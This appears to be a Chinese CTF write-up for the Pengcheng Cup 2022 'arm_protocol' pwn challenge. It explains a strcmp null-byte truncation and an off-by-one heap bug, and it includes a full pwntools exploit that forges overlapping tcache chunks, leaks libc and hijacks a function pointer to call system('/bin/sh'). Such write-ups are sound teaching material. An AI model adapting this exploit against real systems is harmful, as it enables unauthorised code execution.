0%

鹏城杯2022_arm_protocol

首先使用md5进行比较,但使用的是strcmp,比较的字符串中含有\0,可以导致截断

于是可以爆破出符合的key
edit中存在off by one,可以通过溢出来扩大tcache bin chunk的size,然后delete后申请回来,就能制造overlap chunk,然后控制func指针和参数即可

其中malloc_usable_size函数源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static size_t
musable (void *mem)
{
mchunkptr p;
if (mem != 0)
{
p = mem2chunk (mem);

if (__builtin_expect (using_malloc_checking == 1, 0))
return malloc_check_get_size (p);

if (chunk_is_mmapped (p))
{
if (DUMPED_MAIN_ARENA_CHUNK (p))
return chunksize (p) - SIZE_SZ;
else
return chunksize (p) - 2 * SIZE_SZ;
}
else if (inuse (p))
return chunksize (p) - SIZE_SZ;
}
return 0;
}


size_t
__malloc_usable_size (void *m)
{
size_t result;

result = musable (m);
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#coding:utf8
from pwn import *

#sh = remote('127.0.0.1',2333)
sh = remote('192.168.1.104',8888)
#sh = process(argv=['qemu-arm','-g','1234','-L','arm_libc/usr/arm-linux-gnueabi','./arm_protocol'])
#sh = process(argv=['qemu-arm','-L','arm_libc/usr/arm-linux-gnueabi','./arm_protocol'])
libc = ELF('./libc-2.27.so')

def add(size):
index = 0
checksum = index ^ size
content = '\x00'

payload = p32(0x11451400)
payload += p32(checksum)
payload += p32(size)
payload += p32(index)
payload += '\x00'*0x3b
payload += 'A\x01\x57\xf5\x61\x00'
sh.sendafter('>',payload)

def show(index):
size = 0
checksum = index ^ size
content = '\x00'

payload = p32(0x11451400)
payload += p32(checksum)
payload += p32(size)
payload += p32(index)
payload += '\x00'*0x39
payload += p8(0x1)
payload += p8(0)
payload += 'A\x01\x57\xf5\x61\x00'
sh.sendafter('>',payload)

def delete(index):
size = 0
checksum = index ^ size
content = '\x00'

payload = p32(0x11451400)
payload += p32(checksum)
payload += p32(size)
payload += p32(index)
payload += '\x00'*0x38
payload += p8(0x1)
payload += p8(0)*2
payload += 'A\x01\x57\xf5\x61\x00'
sh.sendafter('>',payload)

def edit(index,content):
size = 0
checksum = index ^ size
for x in content:
if x == '\00':
break
checksum ^= ord(x)

payload = p32(0x11451400)
payload += p32(checksum)
payload += p32(size)
payload += p32(index)
payload += content.ljust(0x3a,'\x00')
payload += p8(1)
payload += 'A\x01\x57\xf5\x61\x00'
sh.sendafter('>',payload)


add(0x4) #0
add(0x4) #1
add(0x4) #2
add(0x4) #3

add(0x70) #4

add(0x4) #5
add(0x4) #6
add(0x4) #7
add(0x4) #8

delete(3)
delete(2)
#修改tcache size
edit(0,'a'*4 + p8(0x31))
delete(1)
#overlap chunk
add(0x20) #1

#2,3,9~14
for i in range(7):
add(0x70)
delete(2)
delete(3)
for i in range(9,14):
delete(i)
#unsorted bin
delete(4)
edit(1,'b'*0x8 + p8(0x88))

add(0x4) #2
#raw_input()
add(0x4) #3
show(3)
sh.recvuntil('\n')
libc_base = u32(sh.recv(4)) - 0x1507f8
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

#delete(8)
#delete(7)
edit(5,'a'*0x4 + p8(0x31))
delete(6)
add(0x20) #4
edit(4,'b'*0x8 + p32(system_addr) + p32(binsh_addr))
#raw_input()
show(7)

sh.interactive()